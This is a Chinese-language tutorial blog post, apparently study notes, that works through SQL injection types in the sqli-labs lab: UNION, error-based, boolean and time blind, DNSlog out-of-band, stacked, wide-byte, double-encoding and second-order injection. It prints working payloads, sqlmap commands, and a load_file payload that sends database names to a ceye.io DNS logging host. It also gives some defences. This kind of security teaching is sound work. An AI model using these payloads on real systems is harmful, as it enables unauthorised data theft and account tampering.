SQL注入的几种类型和原理

释放双眼,带上耳机,听听看~!

文章来源渗透云笔记作者团;伍默


在上一章节中,介绍了SQL注入的原理以及注入过程中的一些函数,但是具体的如何注入,常见的注入类型,没有进行介绍,这一章节我想对常见的注入类型进行一个了解,能够自己进行注入测试。

注意:以下这些类型实在slqi-labs环境(也就是MySQL)下实验,SQL是所有关系型数据库查询的语言,针对不同的数据库,SQL语法会有不同,在注入时的语句也会有所不同。

UNION 联合查询注入

原理

UNION 语法:用于将多个select语句的结果组合起来,每条select语句必须拥有相同的列、相同数量的列表达式、相同的数据类型,并且出现的次序要一致,长度不一定相同。

注意:UNION操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL。

UNION注入的应用场景

  • UNION连续的几个查询的字段数一样且列的数据类型转换相同,就可以查询数据

  • 注入点有回显

  • 只有最后一个SELECT子句允许有ORDER BY;只有最后一个SELECT子句允许有LIMIT。

UNION注入的流程

1
2
3
graph LR
A[order by确定列数] --> B["查看返回点,选取可以显示数据的位置"]
B --> C["读库、读表、读数据(可执行任意语句)"]

为什么 order by 能确定列数?order by 的作用为根据一列或者多列的值,按照升序或者降序排列数据,当超出表的列数是发生报错。

为什么需要确定列数?UNION 内部的 SELECT 语句必须拥有相同的列(可用二分快速查找)

方法

下面用sqli-labs第一关演示。

可能有读者会疑惑,“–”可以理解,SQL注释,那么“+”有什么用,并且执行的语句中也不包含“+”号。

URL只允许使用US-ASCII字符集的可打印字符。URL中 “+” 代表URL编码的空格。

判断出列的位置后,在页面中寻找回显的位置,这里运用的SQL的一个特性。

这个特性有什么用?页面代码只返回第一条结果,UNION SELECT 获取的结果无法输出到页面,可以构造不存在的ID,使第一条语句查询结果为空,返回 UNION SELECT获取的结果。

到这里,可以确定返回页面的位置,在对应的位置写想要的SQL语句即可拿到想要的信息。

实际上返回的结果为多条,所以需要将结果连接为一条,使用 limit 或者 group_concat 的函数连接结果。

后面就很顺利的按上一章节中的SQL注入流程来读取数据。

有读者可能会迷惑,我还是解释一下,读库、读表、读字段、读数据。我这里使用了几个函数,连接字符的group_concat,指定分割符连接的 concat_ws。

报错注入

原理

接下来的文字会省略一些,因为找到对应的回显之后,整个过程类似。无论是那种类型的注入,本质上是SQL语句被执行之后寻找对应的回显。

对于报错,回显在错误中,后面的的时间注入,回显在时间的判断中,DNSlog盲注中,回显在DNSlog中。

报错注入如何发生的?

构造payload让信息通过错误提示回显出来

什么场景下有用?

  • 查询不回现内容,但会打印错误信息

  • Update、Insert等语句,会打印错误信息(前面的union 不适合 update 语句)

这种场景的源码是怎样的?

1
2
3
4
5
6
7
8
if($row)
{
   echo 'Your Login name:'.roe['username'];
}
else
{
   print_r(mysql_error());
}

当执行的SQL语句出错时返回错误信息,在错误信息中返回数据库的内容,即可实现SQL注入。

那么实现SQL注入的难点就在于构造语句,制造错误,让错误中包含数据库内容。

这里介绍3个函数引起报错,其他的函数类似。

  • floor()

    1
    2
    SELECT count(*) from information_schema.`TABLES` GROUP BY concat((select version()),floor(rand(0)*2))
    group by对rand()函数操作是产生了错误
  • extractvalue()

    1
    2
    extractvalue(1,concat(0x7e,(select user()),0x7e))
    xpath语法导致的错误
  • updatexml()

    1
    2
    select updatexml(1,concat(0x7e,(select version()),0x7e),1)
    xpath语法导致的错误

方法

Floor函数报错注入方法**

上面的语句在MySQL客户端中的执行效果,可以看到返回的错误中包含了想要的信息。

在网页中执行的效果。

把语句变换一下

后面就是查库、查表、查数据流程,注意数据太多使用concat、limit等函数链接处理。

另外这里介绍一些技巧避免重复手工。

比如limit这种只需要改变数值查询数据的语句,使用Burp suite 的intruder功能,关键参数配置字典,对返回的结果进行匹配。

extractvalue()报错注入方法

extractvalue()需要两个参数,第一参数为xml文档,第二个参数为xpath语句,直接给常见的语句。

网页中的效果

笔者在看到这个语句的时候其实是有疑惑的。

  • 为什么构造的语句为第二个参数?我理解函数执行过程中,第二个参数像正则匹配一样从第一个参数中匹配出结果。操作第二个参数能直接的触发错误

  • 为什么使用concat函数?使其中的语句字符串化,如果有读者直接将第二个参数使用查询版本的函数就会发现,报错的结果不包含“@”符号前的字符,原理大概也猜得到,“@”符号在xpath格式中有其他含义。

  • 为什么使用concat函数中第一个参数构造了一个波浪号?其实这个原因和上面一样,构造非法的参数,这样才能在错误中看到后面完整的数据。

updatexml() 函数的报错注入

updatexml() 的第一个参数为xml文档对象,第二个为xpath格式的字符串,第三个为string格式,替换查找到符合条件的数据。和名字一样,作用为更新文档中符合条件的字符串。

这条语句和上一条类似。

另外,报错信息是有长度限制的,在mysql的源码 mysql/my_error.c 中也有注释,如果得到的数据太长,可以使用substr进行字符串的切割。

小结

报错注入的原理还没有理解,先知社区上有一篇文章报错原理写很好,后续再继续研究吧。

布尔盲注

原理

布尔盲住指得是代码存在SQL注入漏洞,但是页面既不会回显数据,也不会回显错误信息,只返回 ”Right“ 和 ”Wrong”。

通过构造语句,来判断数据库信息的正确性,通过页面返回的 ”真“ 和 ”假“ 来识别判断是否正确。

大白话:这就像你不断的询问一个人,他只会说对还是错,虽然信息有限,但是也能得到想要的信息,

布尔盲住过程中常用到的一些函数

  • left() :left(database(),1)>'s' ,databases() 显示数据库的名称,left(a,b)从左侧截取a的前b位

  • regexp() : select user() regexp '^r' ,正则表达式匹配

  • like()select user() like 'ro%' ,和regexp 类似

  • substr()ascii()ascii(substr((select(database()),1,1))=98

  • ord()mid() : ord(mid((select user()),1,1))=114

几个函数没什么好说,都是对字符串操作的函数,有一个地方需要关注下,有些场景单引号下会注入失败,使用ascii()等函数转为 ascii 码已适用于更多的场景。

方法

下面通过 sqli-labs 的例子测试下。

通过上面页面返回的不同可以判断语句被成功执行,猜测查询语句的结构,可以构造如下的语句。

http://wuhash.ml/Less-8/?id=1' and left((select database()),1)='a' --+

结合 “Burp Suite” 的 “Intruder” 模块爆破结果。

能否更快速的爆破?答案是可以的,添加多个字典即可。

其他函数组成的payload,这里就不详细讲了

1
2
3
http://wuhash.ml/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^em' --+
http://wuhash.ml/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'em%' --+
http://wuhash.ml/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 --+

数据库库、表、字段所有名称的可用字符范围为:A-Z、a-z、0-9和下划线。

也就是 ASCII 码48到122,利用这点可快速的爆破出结果。

时间盲注

原理

时间盲注:代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息,语句执行之后不提示真假,不能通过页面来进行判断。通过构造语句,通过页面响应的时长来判断信息。

无法进行报错注入和布尔注入之后,人们想到了新的攻击点,“页面返回的时间”,笔者觉得能想到这一点人真是天才,谁提出的已无法追溯,可能在过去一段时间内,对于一些无论正确还是错误的页面返回都相同,攻击者在很长的一段时间陷入困境,某位用咖啡续命的攻击者灵光一闪,随后向他的朋友进行了讨论和验证,新的攻击方式被提出。

时间盲住的关键点在于 if()函数,通过条件语句进行判断,为真则立即执行,否则延时执行。

例如 if(left(user(),1)=‘a’,0,sleep(3));

例如if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

方法

这里打开sqli-labs的第10关查看下他的源码,发现无论输入是否正确,返回几乎都是一模一样的。

有一部分代码我截图出来,Get 方法接收到的ID会被添加上双引号,所有最终的语句是这样。

时间注入里如何进行前面我说的查库、查表、查列、查数据那样的流程呢?

相信到这里也发现了,这种方式太缓慢了,能否快一点?可以的,编写自动换脚本,猜单词游戏在这里发挥到极致,每个字段都要进行猜测。

DNSlog盲注

原理

DNSlog盲住其实属于带外攻击(Out Of Band),什么是带外攻击?

很多场景下,无法看到攻击的回显,但是攻击行为确实生效了,通过服务器以外的其它方式提取数据,包括不限于 HTTP(S) 请求、DNS请求、文件系统、电子邮件等。

事实上,带外攻击不限于 DNSlog 盲注场景下,比如命令执行、SQL注入、XXE等。

先解释下DNSlog盲注的原理,借助应用的本身的功能发起DNS请求,盲注的结果作为DNS请求的一部分,DNSlog记录了DNS的请求,当然也记录了盲注的结果。

如何发起DNS请求?对域名访问,解析域名即产生DNS请求。

在关于我所了解的SQL注入中提过load_file函数,load_file在官方文档中描述为读取本地文件,然而在windows下的路径有一种命名惯例,名为UNC,本来的作用为共享文件与设备,UNC路径格式为\\host-name\share-name\object-name,”hos-name”部分可以是FQDN,这个特性使得win下load_file的UNC可触发DNS请求,当然也限制了DNSlog盲注只限于 win 下。

方法

一条典型的payload如下。

select load_file(concat('\\\\',(select database()),'.7dxfaj.ceye.io\\abc'))

其中“7dxfaj.ceye.io”是“ceye.io”分配的子域名。”ceye.io”知道创宇404团队开发的一款记录DNSlog的平台,不仅能记录DNS请求,HTTP请求也同样。(就是日常崩)。

为什么这里有四个“\”,因为转义的原因,

如果你有服务器和域名的话,推荐自己搭建平台,四叶草安全开源了一款同样的工具。

如何实战

这里以sqli-labs为例,其他场景类似,区别在于payload的构造。

在ceye.io上查看解析记录,成功看到其中含有函数执行的结果。

什么样的场景下这个很有用?相对于时间盲住来说这个能够直接查询到结果,比时间盲住更好。

但同时它的要求也很高,为什么?因为这里涉及到“load_file”操作,“secure_file_priv”的值为空才能进行UNC路径读取。

能不能爆数据?可以,利用相关的字符切割函数,FQDN是有长度限制的(RFC 1035 规定FQDN通常为255个字节)。

修改limit的值查询字段。

后续的查询数据不再演示,需要注意的是,实战中,这种查询方式仍然显得缓慢,ceye.io也提供的对应的API,最好是字节自动化脚本。

堆叠注入

关于堆叠注入,要从堆叠查询说起,我们知道每一条SQL语句以“;”结束,是否能能多条语句一起执行呢?这是可以的。

第二条语句不必像联合查询那样要求类型一致,甚至能使用 “update”语句修改数据表。

结合实践盲注中的语句,就能构造出payload。

例如;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23

更多语句不进行赘述。

到这里已经介绍了一些注入方式了,有一些书籍或文章可能还会介绍get注入、post注入、数字型注入、字符型注入,在我看来,只是改变了注入点和闭合语句的方式不同。

下面介绍的是一些比较少遇到的,利用的点不同,结合了其他特性。

宽字节注入

原理

这里我先解释下什么是宽字节。

先说下ASCII,这个编码为8个比特位,1个字节,所以能映射的范围仅有256个字符。

到了汉字这里,这套编码不够用了,毕竟汉字太多了。

这其中,出现GBK、BIG5、GB2312、gb18030等编码用以适用于汉字,原来的一个字节无法容纳,需要占用更多的字节来编码,这就是所谓的宽字节。

为什么宽字节注入会发生?

一般来说,我们使用进行SQL注入测试时,都会使用'",开发者为了防止SQL注入,将传入到的符号进行转义,例如php中addslashes函数,会将字符加上转义符号。

由于转义的存在,加上mysql的特性是的结果和正常的相同,甚至都不能判断含有注入点,sqlmap进行测试页无法进行注入。

下面以sqli-labs的第36关为例。

这里我开启日志功能,查看真正执行的语句,你也可以在网页中打印语句。

1
2
3
4
5
6
7
SHOW VARIABLES LIKE 'general%';
#查询日志功能是否被开启,general_log 默认关闭OFF
#general_log_file:日志文件保存位置
set GLOBAL general_log='ON';
#更改为'ON',开启日志记录。
tail /var/lib/mysql/785e6e87385b.log
#文件my有可能不一样,具体参考查出来的文件名

执行的语句为SELECT * FROM users WHERE id='1\'' LIMIT 0,1,不知道有没有小伙伴和我一样疑惑这个语句为什么能执行成功,笔者迷惑了一上午,在某位大大的帮助下终于理解了,感谢大大。笔者进行了一系列测试。

我们都知道”\“是转义符,也就是说最终where的是 id “1‘”(我特意用双引号表示),表中应该没有“1’”这个ID,结果应该为空,但实际上这条查询的结果和 SELECT * FROM users WHERE id='1' LIMIT 0,1相同。

这和mysql中的隐式类型转换有关,官方文档在末尾。

简单来说,mysql会自动推导数据类型,我们看一个列子。

笔者猜测由于类型转换失败,不进行匹配,所以仍然能查出结果。

回到宽字节的主题上,浏览器会将URL中'的编码为%27,经过函数添加的转义符,变成了%5c%27(\‘),如果在 “‘” 前面添加%df,编码后的数据为%df%5c%27

如果查询的数据库是GBK编码时,会被认为是一个汉字,这里是”運“,也就是说最终语句变成了SELECT * FROM users WHERE id='1運' LIMIT 0,1(上面网页中为编码为UTF-8,无法正常显示)。添加的转义符号被“吃”掉了,转义符失去了原有的作用。

知道了这一点,后续的注入就很简单了。

order by 确定字段列数。

查看回显。

后面的查库、查表、查列、查数据就很顺利了。

能不能sqlmap直接一把梭?可以,不过需要更改下测试语句。

另外,sqlmap也提供了tamper来解决这种情况。

sqlmap -u "http://wuhash.ml/Less-36/?id=1" -b --tamper=unmagicquotes.py --batch --thread=10

如何发现宽字节注入

  • 黑盒测试:在可能的注入点键入%df,之后进行注入测试

  • 白盒测试

  1. 查看MySQL编码是否为GBK

  2. 是否使用preg_replace把单引号替换为\‘

  3. 是否使用addslashes进行转义

  4. 是否使用mysql_real_escape_string进行转义

后续的一些问题

为什么输入%81就可以进行宽字节注入了?

GBK编码是对GB2312编码的扩展,采用双字节编码方案,其编码范围是 8140-FEFE,上面添加 %81 是为了让编码的结果在GBK编码范围中,将其识别为一个字符,从而“吃掉“转义符。

编码问题是如何发生的?

注入的过程设计到多个编码,包括php源码文件中指定SQL语句的编码,数据库的编码,页面本身的编码。

页面的编码有什么影响?添加的“%df”在URL中不会被再次编码,SQL语句指定编码我GBK,addslashes对单引号进行添加转义符号,添加的%df和转义发被解释为一个字符,同事页面返回的结果未正确显示,笔者的默认编码是Unicode(可声明编码),更换编码后可正确显示。

后续是P牛博客的思路,链接放在末尾。

如何防御?

php文档提供了mysql_real_escape_string函数,需要在声明数据库使用的编码,否则宽字节注入仍然会发生。

指定连接的形式是二进制即可,所有数据以二进制形式传递,就能有效避免宽字节注入。

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

只有GBK编码会发生吗?

实际上其他语言的编码也可以,只要能够“吃掉”转义符的编码。

还有其他姿势吗

在大多数的CMS中采用icnva函数,将UTF-8编码转换为GBK编码。

但实际上仍然会发生注入。

P牛提到“錦”的UTF-8编码为e9 8c a6,GBK编码为E55C

转义符和单引号的编码为5c27,合起来是E55C 5c27

两个5c被解释为转义符转义转义符本身,仅作为一个字符解释,所以注入仍然会发生。

二次编码注入

原理

第一个问题,为什么要进行URL编码?

原始的格式在WEB应用中不适合传输,一些符号回与HTTP请求的参数冲突。比如HTTP的GET方法,格式是这样http://a.com/index.php?user=admin&passwd=admin,如果说有一个 user 为 “useer=”(注意等号),组合成这样http://a.com/index.php?user=admin=&passwd=admin,这样的语句就会产生问题,导致WEB应用无法正常运行。

关于字符的问题,推荐看这个。

实际上这个问题扩张开来,为什么要进行编码?一定是因为原始格式不适合传输才进行的编码。

另外,在一般情况下,WEB应用传递给PHP等应用参数时,PHP会自动对参数进行一次URLdecode。

同样 php 也提供了函数进行调用,在某些CMS中,进行了转义+二次 URLdecode,造成。

我们来看一段php页面的代码。

可以看到使用GET方法传递 ID,ID传入之后经mysql_real_escape_string转义,然后进行URLdecode,问题就出出现在这里。

注入方法

下面以上面的源码为例测试。

可以看到输入的单引号被转义。如果下面构造的特殊的参数,页面就会变成这样。

解释一下,为什么这样?“%25”被自动解码为百分号,输入的参数中为含有单引号,所以未被转义。

在二次解码之后,“%27”被解释为单引号,熟悉的报错又回来了。

在sqlmap中和宽字节同理

sqlmap -u "http://wuhash.ml/Less-1/doublecode.php?id=%2527" -b --batch --thread=10

二次注入

原理

二次注入的重点在于添加进数据库的恶意数据被二次调用。

这里两个关键。第一:添加进的数据库使我们构造的恶意数据(需要考虑到转义等炒作),第二:恶意数据被二次调用触发注入。

方法

这里以sqli-labs 的 Lless24 进行二次注入练习。

sqli-labs的24关是一个登录界面,下面有创建用户和重置密码的链接,我们打开源码进行查看。

创建用户的页面提交的表单被发送”login_create.php”文件

“login_create.php”取到了3个值,分别是“username”、“pass”、“re_pass”,并且使用了mysql_escape_string进行了特殊字符转义。一开始进行了用户名是否存在的查询判断,如果不存在,对比两次输入的密码是否一致,如果一致,进行了一个insert操作,将用户名和密码插入user表中。

当前的user表是这样的。

创建一个用户名为“admin’#”的用户,密码任意并登陆。

登陆之后含有Reset按钮,查看源码,参数被发送到 ”pass_change.php”文件。查看“pass_change.php”的源码,接收三个参数 “cur_pass”、“pass”、”re_pass“,同样使用了mysql_escape_string进行了转义。如果更新的两个密码一致,执行一条update的 sql操作。

现在的数据库是这样。

对“admin’#“进行密码重置,对比着查看数据库。

注意图中的“admin”的“password”值,不是笔者贴图错误,而是确实如此。打开mysql的查询日志查看执行的语句。

经过了转义,'#完整的插入数据库之后,进行二次调用时,也被完整的调用出来。

“#”在 sql 语句中表示注释,后面的语句不会被执行,整条语句相当于执行UPDATE users SET PASSWORD='1314' where username='admin',所以“admin”的密码被更改。

后续的笔记就不细说了,可以看出,利用应用本身的功能特性讲恶意数据插入在数据表中,在其他功能点被调用引发注入。在很多场景下,可能利用并不是这么利用的,课程中演示了里一个页面,列举了用户名,注册一个名为“1’ union select 1,user(),3#”的用户,在二次调用时,成功是用户名中显示为数据库用户。

最后说一下这里常见的绕过点,尝试编码绕过(例如URL编码)、HEX绕过、运用mysql自身的一些特性绕过……。

总结

受限于篇幅,这一篇某些地方没有详细的记录,笔记大部分内容都来自网易云与 i 春秋合作的课程,感谢讲师@ADO。老实说,这篇笔记鸽了3个星期左右,有几个原因。

  • 漏洞点都要自己进行验证,比较缓慢

  • 最近工作上有点忙,下班无心学习

  • 我在摸鱼……。

  • 笔者学习是比较容易偏离方向,比如DNSlog盲注时抓包发现请求有点不合常理,又跑去找资料看……

参考资料

[红日安全]Web安全Day1 – SQL注入实战攻防

Web安全工程师(进阶)- SQL注入篇

一篇文章带你深入理解 SQL 盲注

MYSQL报错注入的一点总结

SQL Injection

SQL Injection Wiki

SQL注入WIKI

【技术分享】MySQL Out-of-Band 攻击

OOB(out of band)分析系列之DNS渗漏

Dnslog在SQL注入中的实战

Hr-Papers|宽字节注入深度讲解

12.2 Type Conversion in Expression Evaluation

谈谈MySQL隐式类型转换

浅析白盒审计中的字符编码及SQL注入

赶快来分享关注吖


本文源自微信公众号:渗透云笔记

人已赞赏
安全工具

Linux部分常用命令学习记录

2019-10-16 17:04:21

安全工具

PHP函数基础简章

2019-10-16 17:04:37

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索